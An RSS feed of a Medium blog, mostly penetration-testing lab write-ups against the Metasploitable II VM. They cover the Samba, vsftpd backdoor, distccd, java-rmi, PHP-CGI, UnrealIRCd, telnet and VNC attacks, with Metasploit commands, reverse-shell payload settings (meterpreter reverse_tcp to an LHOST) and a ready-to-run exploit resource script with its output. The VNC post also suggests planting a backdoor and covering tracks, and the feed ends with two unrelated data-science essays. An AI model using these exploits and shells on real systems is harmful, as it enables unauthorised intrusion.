<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mrjoemaina on Medium]]></title>
        <description><![CDATA[Stories by Mrjoemaina on Medium]]></description>
        <link>https://medium.com/@mrjoemaina01?source=rss-219037b461aa------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*DA7xrInk7JdRtXJsaOJ48Q.png</url>
            <title>Stories by Mrjoemaina on Medium</title>
            <link>https://medium.com/@mrjoemaina01?source=rss-219037b461aa------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 14:25:05 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mrjoemaina01/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Metaploitable II: Exploiting Samba smbd 3.X — 4.X]]></title>
            <link>https://medium.com/@mrjoemaina01/metaploitable-ii-exploiting-samba-smbd-3-x-4-x-2b567b767020?source=rss-219037b461aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/2b567b767020</guid>
            <dc:creator><![CDATA[Mrjoemaina]]></dc:creator>
            <pubDate>Thu, 30 Oct 2025 10:43:27 GMT</pubDate>
            <atom:updated>2025-10-30T10:43:27.075Z</atom:updated>
            <content:encoded><![CDATA[<h3>Metaploitable II: Exploiting Samba smbd 3.X — 4.X</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*BeuCwe2mUZPkz8E8UlTzDA.jpeg" /></figure><p><strong>Samba smbd 3.X — 4.X (workgroup: WORKGROUP)</strong> — this identifies a netbios-ssn service with two open ports: <strong>139/TCP</strong> and <strong>445/TCP</strong>.</p><p>This vulnerability is straightforward to exploit: you simply need the appropriate exploit module to gain access. I’ll also show how to discover the full service version string for netbios-ssn. Why bother? The label “Samba smbd 3.X — 4.X” contains an unknown component. While you can often exploit the service without the exact full version, knowing the precise version can be useful in other situations.</p><p>Let’s get started.</p><h3>Step 1 — Scan with Nmap</h3><blockquote><em>Note: I’m using my Metasploitable VM in this write-up, so the target IP is that VM. Your target IP will differ depending on your environment.</em></blockquote><p>For this step we’ll focus on the two open ports shown above — <strong>139</strong> and <strong>445</strong> — since they indicate the presence of the netbios-ssn service.</p><p>(Press Enter or click to view the full-size image.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*860v8Wjtp-3VCSz4UkCV2Q.png" /></figure><h3>Step 2 — Find the full service version</h3><p>Now fire up the Metasploit Framework on your Kali machine. At the msfconsole prompt type:</p><pre>search smb</pre><p>and press Enter. Metasploit will return a list of SMB-related modules — browse that list to find modules that match the target service. (A screenshot of the module list is shown below.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tx6UNHiFqsC7JHcZUmDW1Q.png" /></figure><p>Now we’ll use an <strong>auxiliary</strong> module. Auxiliary modules are for information-gathering or non-exploit tasks (and some active attacks); they don’t require a payload. An exploit module, by contrast, typically needs a payload — the code you deliver to the target (for example, malware or a reverse shell).</p><p>Here we’re using an auxiliary module to enumerate the SMB service and retrieve the full version string. The module we want is:</p><pre>auxiliary/scanner/smb/smb_version</pre><p>Run that module in msfconsole to scan the target and reveal the complete Samba/SMB version.</p><p>As you can see, it mentions <strong>“smb version detection”</strong> at the description. Therefore, this is what we need. Next, all you have to do is:</p><ol><li><strong>Copy</strong> the name of the module <strong>“auxiliary/scanner/smb/smb_version”</strong></li><li>It is recommended to clear the screen by typing “clear” so that things won’t get messy. (OPTIONAL)</li><li>Type<strong> “use”</strong> and then <strong>paste</strong> the module name that you copied <strong>“auxiliary/scanner/smb/smb_version”</strong></li><li>Press Enter</li></ol><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mn2smloCpc9xs9Tc6Ek5bA.png" /></figure><h3>Step 3 — Find the right exploit</h3><p>Now that we know the exact version (Samba 3.0.20-Debian), use that information to search for a matching exploit.</p><ol><li>Copy the version string Samba 3.0.20-Debian (or just Samba 3.0.20 to broaden the search).</li><li>Open a new terminal on your Kali box and run:</li></ol><pre>searchsploit samba Samba 3.0.20-Debian</pre><p>searchsploit queries the Exploit Database offline mirror and is a fast way to discover public exploits that match your target version. Use the results to pick an exploit module that best matches the target and environment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/923/1*tnL03oBdr0QaKtTBhJppGA.png" /></figure><p>We’ll use the exploit <strong>“Samba 3.0.20 &lt; 3.0.25rc3 — ‘username map script’ Command Execution (Metasploit)”</strong></p><h3><strong>step 4: Unleash Metasploit</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*IH7f22GgAnILDO6OCth0Dw.png" /></figure><p>Congratulations — you’ve successfully gained access to the target IP.</p><p><strong>Important reminder:</strong> When performing penetration testing, document every vulnerability you discover in your report. Never exploit or misuse any data or information you encounter. Stay professional, follow the scope and rules of engagement, and keep your objectives ethical and lawful.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2b567b767020" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Metasploitable II : Exploiting vsftpd 2.3.4, rlogin and telnet]]></title>
            <link>https://medium.com/@mrjoemaina01/metasploitable-ii-exploiting-vsftpd-2-3-4-rlogin-and-telnet-570816846d83?source=rss-219037b461aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/570816846d83</guid>
            <dc:creator><![CDATA[Mrjoemaina]]></dc:creator>
            <pubDate>Wed, 29 Oct 2025 20:59:34 GMT</pubDate>
            <atom:updated>2025-10-30T10:47:52.959Z</atom:updated>
            <content:encoded><![CDATA[<h3>Metasploitable II : Exploiting vsftpd 2.3.4, rlogin, telnet, javamri, samba and distccd</h3><p><strong>Reconnainsance</strong></p><p>Using Nmap to get the versions and services running on the ports</p><pre>nmap -sV 192.168.0.103 -p-</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*mhwcp-Gi5XtT9E7ZJ2XpEQ.png" /></figure><h4><strong><em>vsftpd 2.3.4</em></strong></h4><p>CVE-2011–2523 is a critical security vulnerability affecting <strong><em>vsftpd 2.3.4, </em></strong>a popular FTP server software. The vulnerability is a backdoor that opens a shell on port 6200/tcp, allowing unauthorized access to affected systems. It is important for users and administrators of these systems to be aware of this vulnerability and take appropriate measures to secure their systems.</p><h4>Who is impacted by this?</h4><p>The vulnerability specifically impacts vsftpd 2.3.4, as well as Debian Linux 8.0, 9.0, and 10.0. It is crucial for users and administrators of these systems to be aware of this vulnerability and take appropriate measures to secure their systems</p><p>Exploitation</p><p>A search via searchsploit db shows that there is an already existing exploit fot <strong><em>vsftpd 2.3.4</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*-P1UdxhJnPqOOiMEIST6_Q.png" /></figure><p>How the vsftpd 2.3.4 malicious backdoor works</p><p>The malicious code in this version operates by listening for a specific trigger during the FTP login process. This trigger activates a root-level shell on the compromised server, which an attacker can then connect to.</p><ol><li><strong>FTP connection on port 21</strong>: The attacker initiates a standard FTP connection to the server on port 21, the default control port for FTP.</li><li><strong>Special username trigger</strong>: During the login process, the attacker provides a username that contains the “smiley face” sequence :).</li><li><strong>Backdoor activation</strong>: The vulnerable vsftpd-2.3.4 daemon, instead of processing the username normally, recognizes the :) pattern. This triggers a malicious function in the code.</li><li><strong>Shell on port 6200</strong>: The malicious function silently executes a command to open a listening socket on TCP port 6200. This socket is bound to a command shell, typically /bin/sh or a similar shell, and runs with root privileges.</li><li><strong>Attacker gains root access</strong>: The attacker then connects to port 6200 of the compromised server with a simple network tool like netcat. The backdoor provides the attacker with direct root-level command execution on the server.</li></ol><p>Using metasploit, I set the rhost to my vulnerable metasploitable ip to 192.168.0.103 and payload to payload/cmd/unix/interact</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AuCfMQB_OHuG5F33xksoMg.png" /></figure><h3>rlogin</h3><p>rlogin is a Unix-based command-line utility used to log into a remote computer over a network. It allows a user to execute commands on a remote host, view its file system, and manage files, often with the same username as the local login. However, rlogin is now considered obsolete and insecure because it sends data, including passwords, unencrypted and lacks modern security controls, making it vulnerable to eavesdropping</p><pre>rlogin -l root 192.168.0.103</pre><p>The above command should give access to metasploitable as root</p><h3>telnet</h3><p><em>telnet</em> is a network protocol that allows a user on one computer to log into another computer that is part of the same network.</p><p>In the world of ethical hacking, one of the most vulnerable points to attack is the infamous <strong>Telnet service on port 23</strong>. For this article, I’ll walk you through how I successfully exploited Telnet on a vulnerable machine — <strong>Metasploitable 2</strong> — and gained root access. Let’s dive into the process of exploiting this open door in a controlled environment.</p><p><strong>1. Scanning for Open Ports</strong></p><p>To begin the exploit, I launched an Nmap scan to identify open ports on the Metasploitable 2 machine:</p><pre>nmap -sV 192.168.35.129</pre><p>The scan revealed the following:</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*XPXmWDtwmYmgjEQ3.png" /></figure><p>Nmap Scan Result</p><pre>PORT     STATE SERVICE     VERSION<br>21/tcp   open  ftp         vsftpd 2.3.4<br>22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)<br>23/tcp   open  telnet      Linux telnetd</pre><p>Among other open services, <strong>port 23 (Telnet)</strong> caught my attention, primarily because Telnet is known for its lack of security and plain-text communication.</p><p><strong>2. Connecting to Telnet</strong></p><p>With Telnet open, I used a basic Telnet connection to access the machine:</p><pre>telnet 192.168.35.129</pre><p>Almost instantly, I was greeted by the system’s login prompt:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/0*n1CKsrLC1xfRG2qi.png" /></figure><p>Connected to telnet</p><pre>Trying 192.168.35.129...<br>Connected to 192.168.35.129.<br>Escape character is &#39;^]&#39;.</pre><pre>Metasploitable 2 login</pre><p>We can clearly see credentials msfadmin/msfadmin, so simply I entered login and password as mentioned and yeyyy I’m in hackers …😜</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*ui72SEbgHjAAQ3sd.png" /></figure><p>Loggend In to telnet port</p><p><strong>3. Accessing the Shell</strong></p><p>After logging in, I confirmed my user privileges and system information with some simple commands:</p><pre>id<br>ifconfig</pre><p><strong>Output:</strong></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*WWpl8U7gDc_-mhfQ.png" /></figure><p>Got access to shell 💀</p><pre>uid=1000(msfadmin) gid=1000(msfadmin) groups=...<br>inet addr:192.168.35.129</pre><p>I had successfully gained <strong>shell access</strong> to the Metasploitable 2 machine via Telnet. At this point, I could run commands as the msfadmin user and navigate the system.</p><p><strong>4.Moving Toward Privilege Escalation</strong></p><p>Although having access as the msfadmin user is useful, gaining root privileges is the ultimate goal. Metasploitable 2 is designed to be vulnerable, and by exploring the system further, it’s possible to elevate privileges and eventually gain <strong>root access</strong>.</p><p>One of the ways to achieve this is by exploiting known vulnerabilities within the system, either through manual commands or using tools like <strong>Metasploit</strong>.</p><h3>java-rmi</h3><p>Java Remote Method Invocation (RMI) is a mechanism in Java that enables the creation of distributed applications. It allows a program running in one Java Virtual Machine (JVM) to invoke methods on an object residing in another JVM, which could be on the same or a different host.</p><p>Unleash the metasploit framework</p><ol><li>Search for java-rmi</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/966/1*xD9EVlVIlQin19ihYdReWw.png" /></figure><p>Use the exploit <em>exploit/multi/misc/java_rmi_server . </em>Run the exploit on the default payload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*HLGOsQOqGMPstldtIWT_QA.png" /></figure><h3>Samba</h3><p>This vulnerability is very easy to exploit. You just need to find the right exploit module to gain access. Unfortunately, the process of exploiting it is very lengthy, here is a detailed article on the whole process</p><p>click the link to read samba exploitation</p><p><a href="https://medium.com/@mrjoemaina01/metaploitable-ii-exploiting-samba-smbd-3-x-4-x-2b567b767020">Metaploitable II: Exploiting Samba smbd 3.X — 4.X</a></p><h3>distccd</h3><p>distccd is a network-based distributed compiler daemon that allows a user&#39;s machine to distribute the load of C, C++, Objective-C, and Objective-C++ compilation across other computers on the network. It functions by sending preprocessed source files to remote machines with the distccd daemon, which then compile the files and send back the object files for final linking on the originating machine, speeding up compilation.</p><ul><li><strong>How it works:</strong> The originating machine runs distcc, which acts as an agent for the compiler (like GCC). The source code is preprocessed, and the resulting preprocessed file is sent over the network via TCP to a machine running the distccd daemon. The remote machine compiles the file into an object file and sends it back to the original machine for linking.</li></ul><p><strong>Exploiting</strong></p><p>searching for distccd in metasploit reveals 1 exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*GtL3UF6B9eOk24Yc2AjGQw.png" /></figure><p>Run the exploit after setting the rhost, and payload</p><pre>set payload payload/cmd/unix/reverse</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pmPs3LN6dRxQATtn0xeG-Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=570816846d83" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Metasploiable II : PHP CGI Argument Injection CVE 2012–1823]]></title>
            <link>https://medium.com/@mrjoemaina01/metasploiable-ii-php-cgi-argument-injection-cve-2012-1823-fe1c132c0eab?source=rss-219037b461aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/fe1c132c0eab</guid>
            <dc:creator><![CDATA[Mrjoemaina]]></dc:creator>
            <pubDate>Tue, 28 Oct 2025 18:19:40 GMT</pubDate>
            <atom:updated>2025-10-28T18:19:40.192Z</atom:updated>
            <content:encoded><![CDATA[<h3>Metasploiable II : PHP CGI Argument Injection CVE 2012–1823</h3><p><strong>Description</strong><br>This is the kind of vulnerability that affects the apache server that its PHP version is set with a CGI script. The service receives variables in which some of the parameters are managed by users.<br>Therefore, the services utilized them to invoke calls in the library. If these parameters are passed not the way they should be, an attacker can add some additional codes to the query string (CVE Details 2013). Running CGI with PHP version 5.3.12 and 5.4.2 is vulnerable to an injection attack.<br>The -d flag in php.ini is used as mandates to accomplish code execution. It has an impact of allowing an attacker to access confidential information, DOS attack, and user privilege options (KbPlesk 2014).</p><p>The image below shows that PhpMyAdmin of the hosted Metasploitable is vulnerable when passed with -s characters on the URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*UUj1rwcWVrmwOIrS_Msj1Q.png" /></figure><p><strong>Exploitation</strong></p><p>Search php cgi in metasploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yudfo_GxTwG3H1WJiMwXJw.png" /></figure><pre>set payoad payload/php/meterpreter/reverse_tcp </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DNTI1UHPJJ98KOuHiPhfgw.png" /></figure><h3>Automation</h3><p>Now that you have the exploit working, you can automate the exploitation by creating a Metasploit script containing the following code (the list of commands from the previous section):</p><pre>use exploit/multi/http/php_cgi_arg_injectionset RHOST vulnerableset RPORT 80set PAYLOAD php/meterpreter/reverse_tcpset LHOST &lt;your ip&gt;exploitCopy</pre><p>Once this code is saved as php-cgi.msf, you can easily run it:</p><pre>$ msfconsole -r php-cgi.msf[ASCII ART][*] Processing metasploit-script for ERB directives.resource (metasploit-script)&gt; use exploit/multi/http/php_cgi_arg_injectionresource (metasploit-script)&gt; set RHOST vulnerableRHOST =&gt; vulnerableresource (metasploit-script)&gt; set RPORT 80RPORT =&gt; 80resource (metasploit-script)&gt; set PAYLOAD php/meterpreter/reverse_tcpPAYLOAD =&gt; php/meterpreter/reverse_tcpresource (metasploit-script)&gt; set LHOST &lt;your ip&gt;LHOST =&gt; &lt;your ip&gt;resource (metasploit-script)&gt; exploit[*] Started reverse handler on &lt;your ip&gt;:4444[*] Sending stage (38791 bytes) to &lt;your ip&gt;[*] Meterpreter session 1 opened (&lt;your ip&gt;:4444 -&gt; &lt;your ip&gt;:38881) at 2012-05-22 15:32:29 +1000 meterpreter &gt;Copy</pre><p>You can then play with metasploit, as seen previously.</p><h3>Conclusion</h3><p>This exercise showed you how to exploit the bug PHP-CGI (aka CVE-2012–1823).</p><p>I hope you enjoyed learning with PentesterLab.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fe1c132c0eab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Metasploitable II: Exploiting port 6667: UnrealIRCd]]></title>
            <link>https://medium.com/@mrjoemaina01/metasploitable-ii-exploiting-port-6667-unrealircd-4b8ba58c821d?source=rss-219037b461aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/4b8ba58c821d</guid>
            <dc:creator><![CDATA[Mrjoemaina]]></dc:creator>
            <pubDate>Tue, 28 Oct 2025 11:50:04 GMT</pubDate>
            <atom:updated>2025-10-28T11:50:04.532Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Introduction</strong></p><p><em>UnrealIRCd</em> is a popular, open-source IRC daemon (server) for the <a href="https://www.google.com/search?q=Internet+Relay+Chat&amp;oq=what+is+Unrealircd&amp;gs_lcrp=EgZjaHJvbWUyBggAEEUYOTIJCAEQABgNGIAEMgkIAhAAGA0YgAQyCQgDEAAYDRiABDIJCAQQABgNGIAEMgkIBRAAGA0YgAQyCQgGEAAYDRiABDIJCAcQABgNGIAEMgkICBAAGA0YgAQyCQgJEAAYDRiABNIBCDk4NDdqMGo3qAIIsAIB8QWXss4-6Hahe_EFl7LOPuh2oXs&amp;sourceid=chrome&amp;ie=UTF-8&amp;mstk=AUtExfDiqaC6Rd6PtC2zB_z5eNB1hQx4EVsI4BPA0GyMluPN9joGo-MVuszbE2ueCkYEIdnExZAkUGGbT_91gTMQPSUTcmyYVmO2Q5q9syNfZGtIw1_oEu5LbvJfya6QI-71EQK-F4Uo-MK_dIuWzkDezACY7YWoXZ81BlISL0YBGhq3zXE&amp;csui=3&amp;ved=2ahUKEwiA6MOw38aQAxURwQIHHSOIGqYQgK4QegQIARAB">Internet Relay Chat</a> (IRC) protocol, available for Unix-like operating systems and Windows. The unrealRCD contains a unrea13.2.8.1 file that has been reported to be replaced or extremely<br>modified by the backdoor. This Trojan horse permits the user to execute commands remotely<br>without restriction just like the normal user running ircd. This serious problem occurred due to the<br>original .tar file that is being replaced by the backdoor in November 2009 (UnRealircd 2010, CVE_Mitre 2010).</p><p><strong>Reconnainsance</strong></p><pre>nmap -sV 192.168.0.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*TkHv8gkCfr4k8WbfWyl7lA.png" /></figure><p>Searching through msfconsole, you’ll find that there is already and exploit for it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iK9ylgqUGVbIasDc0q7SMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cr2trO2_Iqf1-FXfEnlBmQ.png" /></figure><p>The images above llustrates the access to the MySQL server using the shell to explore more on the attack.</p><p><strong>Resolution<br></strong>The new versions are patched with the solution. Alternatively, re-downloading and<br>compiling the exact version that has been mitigated:</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4b8ba58c821d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Metasploitable II: Exploiting port 5900: VNC]]></title>
            <link>https://medium.com/@mrjoemaina01/metasploitable-ii-exploiting-port-5900-vnc-b54a86144297?source=rss-219037b461aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/b54a86144297</guid>
            <dc:creator><![CDATA[Mrjoemaina]]></dc:creator>
            <pubDate>Sun, 26 Oct 2025 02:46:19 GMT</pubDate>
            <atom:updated>2025-10-26T02:46:19.639Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Introduction</strong></p><p><em>Metasploitable</em> is an intentionally vulnerable virtual machine (VM) designed for security training, testing security tools, and practicing standard penetration testing techniques.</p><p><em>VNC,</em> or Virtual Network Computing, is a cross-platform graphical desktop-sharing system that allows you to remotely control another computer.</p><p><strong>Reconnaaisance</strong></p><p><strong><em>Using Nmap</em></strong></p><p>Running Nmap with the version command give the following results</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d4dXj6BBFCHTpUxnBhK0xA.png" /></figure><p>Pay close attention to port 5900: It is running VNC service version 3.3</p><p><strong><em>Searchsploit</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*bAejCP1hvgQukh0UtWZtmg.png" /></figure><p>From the above we can see that there is an already existing exploit for vnc in metasploit. We know this because of the .rb extension. All exploits in metasploit are written in ruby languate thus the .rb extension</p><p>Start mfsconsole and search vnc, find</p><pre> auxiliary/scanner/vnc/vnc_login </pre><p>What the above auxiliary module does is find out if VNC can be logged in using the default passwords. Set rhost to the ip of metasploitable and run</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*iN7G8wNeKEt6cEf8K9l8NA.png" /></figure><p>The modules runs a list of passwords against the ip 192.168.0.103 and achieves a successful login with <em>password</em></p><p><strong>How to Exploit</strong></p><p>Now that we’ve found out that the password for login is password, use vncviewer</p><pre>vncviewer 192.168.0.103</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*jta8X6xn3kII3yYq-1ZhgA.png" /></figure><p>Inputting the password field with <em>password yields</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*RmWqeOKM0PMv9x1ieUm21A.png" /></figure><p>Effectively here, we have access to the system. As a root user, we can do whatever we want to the system. Metasploitable 2 was exploited using a poor password.</p><h3>Post Exploitation</h3><p>You can further move on with the pentesting step such as post-exploitation.</p><p>Few things you can do:</p><ul><li>Establish a back door to gain persistence.</li><li>Move laterally if needed.</li><li>Cover up your tracks.</li></ul><h3>Mitigation Tips</h3><p>To secure VNC and prevent exploitation:</p><p>1. <strong>Use Strong Authentication:</strong> Ensure VNC services are configured with strong passwords and avoid using default passwords. You can also disable password-less VNC authentication.</p><p>2. <strong>Disable Unused Services:</strong> If VNC is not required, disable it to reduce the attack surface. In Metasploitable 2, VNC is not necessary for the system’s operation.</p><p>3. <strong>Restrict VNC Access:</strong> Configure firewalls to allow access to the VNC service only from trusted IP addresses. This can help prevent unauthorized access from external networks.</p><p>4. <strong>Encrypt VNC Connections:</strong> By default, VNC is unencrypted, which can expose sensitive data (e.g., passwords) to attackers. Consider using a secure tunneling method like SSH to encrypt the VNC connection.</p><p>5. <strong>Update VNC Software:</strong> Always use the latest version of VNC. Older versions may have known vulnerabilities that can be exploited by attackers.</p><p>6. <strong>Use VNC Viewers with Security Features:</strong> Many modern VNC viewers have built-in security features, such as stronger encryption or authentication mechanisms. Always use these over legacy VNC viewers.</p><h3>Conclusion</h3><p>Exploiting VNC on Port 5900 in Metasploitable 2 involves directly interacting with the graphical desktop environment using VNC clients. It’s important to follow ethical hacking practices and only exploit systems with explicit permission. Always apply mitigation strategies such as strong passwords, restricted access, and encryption to secure VNC services.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b54a86144297" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Speed-Accuracy Trade-off in Machine Learning Models]]></title>
            <link>https://medium.com/@mrjoemaina01/speed-accuracy-trade-off-in-machine-learning-models-fd7be26e8030?source=rss-219037b461aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd7be26e8030</guid>
            <dc:creator><![CDATA[Mrjoemaina]]></dc:creator>
            <pubDate>Wed, 06 Dec 2023 07:29:46 GMT</pubDate>
            <atom:updated>2023-12-06T07:29:46.102Z</atom:updated>
            <content:encoded><![CDATA[<p>In a recent NLP endeavor, I delved into model performance metrics. My baseline model achieved a respectable 78.5% accuracy, while a fine-tuned transfer learning model excelled at 81.6%. However, during deployment, the anticipated efficiency of the 81.6% model didn’t materialize. Surprisingly, despite its high accuracy, this NLP model, processing an input stream of 300,000 words per minute, lagged significantly. Contrarily, the baseline model, though less accurate, showcased impressive speed, processing the large input volume seamlessly without delays.</p><p>The graph below illustrates the divergence between the two models concerning their F1 scores in correlation to processing speed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*_fl6luaIiPZowY141x1Cnw.png" /></figure><p>When examining the F1 score, which encapsulates a model’s precision and recall, against the time it takes for processing, it unveils crucial insights into their performance trade-offs. This visualization offers a comparative view of how each model balances accuracy (as reflected in the F1 score) with the efficiency of processing, represented by the time taken.</p><p>The disparity depicted in the graph sheds light on how different models prioritize between achieving a higher F1 score and optimizing processing speed. It highlights the nuanced relationship between model performance metrics and computational efficiency, providing valuable guidance for selecting the model that aligns best with specific requirements, whether emphasizing accuracy or faster processing</p><h4>Is Accuracy Really The Best Evaluation Metric?</h4><p>The disparity between speed during training and accuracy at inference is a crucial consideration. <strong><em>For many, accuracy during inference holds greater significance</em></strong>; after all, training occurs offline in batches, minimizing concerns about its speed.</p><p>Usually, inference speed isn’t problematic for most algorithms, except for instances involving lazy algorithms like nearest neighbors. The examples provided might not accurately represent this distinction. For instance, a Random Forest comprises simpler decision trees, sometimes even stumps, potentially rendering it faster than a single decision tree based on the dataset. Although Linear Regression offers a closed-form solution, it doesn’t cover all Machine Learning problems, especially in classification scenarios.</p><p><strong><em>Instances where training speed becomes pivotal usually revolve around a dearth of hardware resources when handling extensive datasets</em></strong>. Without adequate hardware, training might extend over weeks, making the project unwieldy. Additionally, in online learning scenarios, simpler models find prevalence due to their adaptability.</p><p>Conversely, situations demanding inference speed supersede accuracy. Deployment on low-end or embedded devices that struggle with processing slow models necessitates prioritizing inference speed. Similarly, systems operating in real-time, particularly at a colossal scale like Google, accentuate the importance of rapid inference.</p><p>In most observed cases, accuracy at test time trumps algorithm speed. However, the nuance lies in recognizing contexts where speed overtakes accuracy or vice versa, ensuring the optimal balance between model performance and real-world utility. However, achieving the perfect equilibrium always presents a catch-22 situation.</p><h4>Catch 22 Situation</h4><p>Consider a scenario involving the trade-off between speed and accuracy: setting a threshold too low results in faster responses but increases errors, while a high threshold enhances accuracy but extends response times. However, neither extreme optimally maximizes the rewards gained from this trade-off.</p><p>This trade-off is a common challenge in various fields, including machine learning, where finding the ideal balance between response speed and accuracy is crucial. Striking the right balance ensures optimal performance aligned with specific needs or constraints, be it real-time applications, resource limitations, or precision-centric tasks. Achieving the perfect equilibrium between speed and accuracy remains a dynamic pursuit, where contextual factors often shape the most appropriate threshold for optimal outcomes.</p><h4>When to make the Trade off?</h4><p>Before making the trade-off, there 2 questions to ask:</p><ol><li>How do you define contextual performance?</li><li>How can it be measured quickly and accurately?</li></ol><p>Based on my experience, I’ve found that I’ve only had to navigate this trade-off when the decision hinges on these two primary factors.</p><p><strong>Real-time Applications:</strong> For applications requiring immediate responses or interactions, compromising a bit on accuracy to ensure swift real-time processing might be necessary. Instantaneous decision-making in scenarios like online transactions or live streaming prioritizes speed over marginal accuracy improvements.</p><p><strong>Resource-Constrained Environments:</strong> In cases where hardware limitations or constrained computing resources exist, opting for a slightly lower threshold to enhance speed can be essential. Balancing accuracy against computational constraints ensures that the model performs reasonably well within the available resources, preventing performance bottlenecks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd7be26e8030" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Data can only speak quantity, not quality]]></title>
            <link>https://medium.com/@mrjoemaina01/what-are-the-downsides-of-data-driven-decision-making-5088eb39ce14?source=rss-219037b461aa------2</link>
            <guid isPermaLink="false">https://medium.com/p/5088eb39ce14</guid>
            <category><![CDATA[data-science]]></category>
            <category><![CDATA[machine-learning]]></category>
            <category><![CDATA[business]]></category>
            <dc:creator><![CDATA[Mrjoemaina]]></dc:creator>
            <pubDate>Sat, 13 May 2023 00:35:00 GMT</pubDate>
            <atom:updated>2023-05-13T08:13:52.387Z</atom:updated>
            <content:encoded><![CDATA[<p>I was having Coffee at a restaurant. On my left were bank executives congratulating each other on the stellar performance of a single branch which “confirmed” that the current marketing campaign was a success. That was until the actual branch manager arrived (late) and embarrassingly confirmed that it was a data entry fluke in the CRM system that caused the stats to go up widely.</p><p>That meeting, ended early…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*3d4UcFhjCcM0Zxtvj4tQrA.jpeg" /></figure><p>As someone who loves to work with data, it might seem odd for me to criticize it — but it’s important to recognize that data isn’t a panacea. Every decision inherently involves some degree of risk, and data itself carries its own set of risks.</p><p>When it comes to decision-making, I try to keep the following things in mind:</p><p>1)<strong> Incomplete data </strong>— It is often impossible to gather all the relevant data about a decision point, either because certain data points are missing or because the dimensions surrounding an issue have not been fully captured. As a result, all decisions based on data are inherently based on incomplete information, which introduces an uncertainty margin that can lead to errors.</p><p><strong>2) Causation/Correlation </strong>— It is possible for data to show a relationship or correlation between various events or facts, but it is always dangerous to presume a causation on which a decision is made, which may, in turn, lead to greater errors.</p><p><strong>3) Observer bias</strong> — Interpretations of objective data are inevitably influenced by the observer, resulting in decisions that are always biased to some degree. This is true even for automated decisions, which inevitably reflect the biases of their designers.</p><p><strong>4) Politics</strong> — Human decision making, particularly in group dynamics or organizational settings, is inherently political. Even when data is used for decision-making, there is an element of positioning or influencing to gain acceptance from the group. Individuals may hesitate to make a data-driven decision if it is viewed negatively or has consequences from peers, the organization, or society as a 